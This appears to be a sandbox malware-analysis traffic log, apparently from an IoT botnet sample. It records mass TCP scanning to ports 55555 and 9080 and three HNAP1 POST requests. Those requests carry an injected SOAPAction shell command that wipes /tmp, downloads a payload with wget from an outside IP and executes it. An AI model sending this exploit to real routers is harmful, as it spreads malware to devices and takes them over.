Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.7.161.218:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.148.93.11:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.147.203.247:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.52.224.155:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.3.238.161:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.180.104.176:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.120.224.64:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.201.219.133:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.149.100.90:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.74.73.139:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.206.103.87:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.234.174.206:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.184.16.81:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.17.73.24:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.98.222.179:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.211.82.57:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.21.79.253:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.232.119.26:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.79.166.199:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.87.103.223:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.181.166.110:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.177.51.198:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.86.223.222:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.7.50.198:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.50.149.183:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.28.95.139:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.182.201.139:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.222.190.45:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.68.178.91:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.5.22.10:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.99.165.214:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.117.241.99:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.134.134.180:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.250.207.211:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.199.149.113:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.149.25.102:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.105.255.42:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.170.0.56:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.118.140.64:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.22.33.80:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.67.148.154:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.29.94.104:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.101.121.3:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.90.33.190:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.14.69.105:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.204.116.97:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.120.227.76:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.71.250.15:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.16.173.197:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.215.20.178:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.225.46.169:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.61.111.30:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.76.2.225:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.148.22.92:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.194.174.101:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.47.130.135:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.20.211.240:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.51.101.23:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.119.94.141:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.55.144.233:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.239.21.159:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.171.178.185:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.121.77.76:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.186.60.44:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.91.54.24:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.110.144.115:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.219.102.72:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.52.2.29:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.247.141.242:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.191.67.166:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.135.222.101:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.132.79.26:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.5.237.26:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.196.80.123:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.100.170.179:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.197.42.196:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.245.255.24:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.78.68.101:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.149.112.247:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.233.161.50:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.158.215.140:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.213.139.100:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.65.106.247:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.55.116.214:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.42.170.45:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.63.191.150:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.198.217.106:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.23.240.62:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.101.132.18:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.253.59.62:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.175.42.147:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.103.62.143:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.133.185.236:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.144.74.237:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.78.248.161:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.237.183.52:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.48.203.168:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.14.130.129:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.144.173.166:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.219.206.146:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.4.24.167:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.6.135.201:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.75.232.74:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.64.140.191:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.205.244.233:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.92.35.134:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.170.214.46:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.150.77.1:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.200.128.200:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.128.44.9:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.200.124.188:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.153.123.93:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.138.158.224:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.72.43.104:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.117.9.160:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.74.205.192:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.227.209.121:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.103.44.118:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.66.69.172:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.123.242.167:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.159.225.43:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.90.245.56:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.155.239.6:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.78.48.230:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.232.200.7:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.115.219.22:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.197.24.18:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.27.127.64:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.142.229.108:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.216.196.3:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.147.77.201:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.63.136.174:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.204.243.232:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.82.152.24:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.199.162.12:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.30.251.116:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.224.40.130:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.68.52.65:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.151.176.82:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.61.77.175:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.94.208.133:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.119.19.190:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.87.237.252:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.32.39.150:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.115.165.113:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.135.93.115:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.126.101.238:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.212.39.4:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.169.231.109:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.242.154.20:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.31.38.173:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.219.57.60:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.214.187.109:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.2.21.134:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.46.57.234:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.49.170.89:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.41.220.55:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.252.142.102:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.31.249.3:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.225.252.71:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.227.1.174:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.231.150.233:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.155.82.116:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.210.249.232:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.58.56.133:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.190.102.21:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.127.30.221:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.201.231.152:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.244.97.131:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.58.123.14:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.99.191.83:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.167.197.161:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.195.221.106:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.158.222.115:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.139.26.63:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.60.191.10:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.150.237.111:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.1.12.188:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.235.84.147:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.87.21.136:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.39.255.73:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.251.163.46:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.251.63.172:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.156.134.152:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.14.68.197:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.63.8.158:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.45.205.82:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.232.74.10:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.36.144.82:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.219.178.221:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.77.207.200:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.0.243.139:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.154.11.3:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.34.233.222:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.15.5.137:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.136.37.190:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.254.52.11:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.111.19.223:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.76.8.108:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.198.128.136:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.119.104.8:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.28.79.36:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 184.54.102.102:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59742 -> 98.220.152.162:55555 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.111.132.223:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.187.41.11:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.234.177.36:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.227.123.33:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.208.135.250:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.12.249.16:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.218.198.231:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.115.96.212:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.120.100.9:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.79.149.219:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.138.67.55:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.115.144.172:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.239.252.197:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.110.123.93:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.84.14.159:9080 |
Source: global traffic | TCP traffic: 192.168.2.23:59998 -> 103.96.84.150:9080 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
